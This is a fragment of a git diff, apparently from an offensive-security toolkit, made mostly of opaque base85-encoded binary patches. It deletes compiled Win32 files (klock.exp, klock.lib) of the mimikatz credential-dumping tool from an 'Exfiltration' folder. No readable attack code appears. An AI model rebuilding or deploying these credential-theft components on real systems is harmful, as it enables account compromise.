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 ZEO5#Krz~*F0;eo+$^xe>@NZk-zX6WhXNLd) diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.exp b/Exfiltration/mimikatz-1.0/Win32/klock.exp deleted file mode 100644 index 947406f831ac1bc154d2c941308f9477f717f0c1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1013 zcmbtS%Wl&^6unM>@F&O?O_ ze}TlJ-_;*r&li+?XW}%<3W+P<<8zPfnfp4jD&YL=om^A^?twPTVWC%eCLsKQ9-{xI z0Br-ki;ojBe-br@q>+8I06wFyS{LrWq?qm~b^7Gm!b|Pn-WF7#3bBwu?1Vx93&vg= zF^E`k$nrq(tl%9e^-q7qR;vLQQ zHPRm~WYmQk^#N{bwug9EvqQvNn$h`x&?T1q0jxSwIC$>9;l+63y8}66YB**>yqafB z@r0#?C){2-l`-2s<_V9z;>=AJWV`LO+>bon-EmC^*gS(LuwSp?sZ^6O%3n?`IOc(p zx%^Vt&66$rsMmi7=kTHq!7TjG90d23#}#L}Nd(xO(UAisBjqLbYc5!BH|L#aTkcgB zr#zo{!X6frkW0JW!eUMjT%V_|;A!m88L$bRI&H_O9PA?$XmF#o2|qxcN?z!C)ElT# z!$*4N-9RRp!$Ud!1(%o9pw+deORA8c^}PhI9bjY>6=hQlfEJ-t%vZD!r80Z3LV&kR zrO|Jpwc*p6vIG8_vI}3=ls)*qRF-9m6I|)L;F& BymtTq diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.lib b/Exfiltration/mimikatz-1.0/Win32/klock.lib deleted file mode 100644 index 40c5c8d35f59b102b5fba5d2bcb43bcaccbed841..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2194 zcmcIlPj3=I6#p&%iynwI9yA(Eny42g>){b z=hq68_Ow(p*^KP%#{t{`0((H{7zm#Lv5ctEGk|O4T-0cj^rm5yH@CNHb))oV=XI^T zUEiu1y}oVsU>MciO6BS>J~-oIwElLtx?z;o>+9ri9SjX)Xbn1$t*~_3<5K&uH@1f` z{CzRnHoJ{Mrwv1O{IkrFH5^;^z@4e|g)!1SjG_e6UH~`_0ViP~69dl3cpd?oBnd!h z2q1ze!U!oDq#PGUOTuzZcK)0NQo;NS%C)FQJR)QmoK&mbeBW8w5i0PKIv-s{$|4f4QdX-mZmbXkMY&Dl8`Ymu50We* zeJcG{r5Q})UsPQ`wil5+r9(pkORQo^CG`l)2|iO^jSJ7Vk8W*R=Ey#@-;I-xYfqAu za&^NQz0}+!ohR}FbZMMkf?DDQ*;EV^P5WR-`?QZfyH&btXTR^RBIQ5Cb{;(MQP>$2Toldhnglb+zaC%7ipDHlb~1~3ABtKS z3$t8bogU*Z#n9+Aln=0akiAfe>)Y{(jG-s6TjC}aP3vv|a I6Y`|mS=wN z2lp*1zkl0F@p&Nj-hanF_lwU3-~CPB40{Q3+Rcja$i*g}#q|O3$X4M8rL-RDg#7B-qhU^K14|n{+qs zj`Z22ZhGubmb#D9#aaLPQ>4-x&$@S>uZ#X*J9DmpXOTelJixeheQ3$b5I!wC0Yv!G zSZVST{>zl4yRTn%?>(V=Bx(I*428yi0Y2Y2v*7};$@M0fRCGHvkSs}fS;E*7|0|HB z@b$}z6Hg;0FNwdLf>J1`@UVKY&m8ufV*UaOeNO{C`V< zF3Y_~tgeCo$WM|MvcU>=v@3;f@L%G_3E6H5rB?9Y6(&iQth2gmhfS(z-XEG=%d%^| zH!2g=aFW`dbcgbJPPn?mxlO9|TB;lF zaetS5JpB`3tS(EE48>l-Z@d)f626Oj2w`@#f;B(dU*%I0t=)z4qP4FGCw25z~{ zJHI#YxN*l}-g&~jx8c}F$x*d(^6df<1Lne;-3!2dVErz?f9h*1f{D?`WXHzdUq zlyu(+_u&QlI?+gOnwISPHT}_2=*eO{VJX!;L^68Gguj&T7TeUQvD{Xm7262%M%;_T z1=vXw@c1+UmJp8P1aPTVVq+_8!|z{mV)!85x^kGG1V{}q>*?sS^kH&4&_oTtK+7aTQFldzU(v+gYKV*)~U#a>C7F z<)Yj|cgW3yXvq5@JuHYn6bwV7Dl-&^x@1IBmqaC9j{1WZF`@E^pZ^6@U(4hXb*EcU zKpk{3*$&1y5zv(5da0$=RnW9wIhob2ue9I^`#_VU-qZD0qDh+lazlyg)X*w4ghraf ztL+v!TAbCZyjPsl6HNLh>m2^bxxRh)(1h+X?gJ^*B|{SHt<kE&Fo~6>cgZ7=no@I*V%1AC%5+~ZxBk;G)LNV5XM4I*ju78^0Rd8;I00bomg0RFz#RG?mpRMy~P-T^;eR6!lwgB z-RY{@;V=b+;sEPK(wy5;*i=8U|69fadsA4ktDQ++#ie{ooc6DvL+67w`?d2e;LOTO z5;j0a@SNfZWd!tx?C3P$=Ns_6R!c#Dm6cw_p$wQkCg5)82meJIFMUNDWo5*tYI}Ow zS-g4?F%Pj=8)-@_ZO(1-2#FY=SvAmsC4-A{LYN%_UO<^OxSTJg_}MPL2~TUa)MB*@ zM2exjI7TI~{IB<>B)f9{qG26?IrYMHKc z$C$9})c&dJV7gZ5U~^noc2@*K59EY%We23GpO61ul9Y3z_(Z!cbR(~JgZ-jivLh3M zT9+LV+k^Zd5Y?2Z)-ci~4^IEo>Z;o!g!f>i{X~0G$i=6}-^#^Xk#3$I|L&*nZ8g<2 zOcIWP93v3WR%dIg?b>QrSFzgyU977(9g2datKXiY3^-`xKcT^R 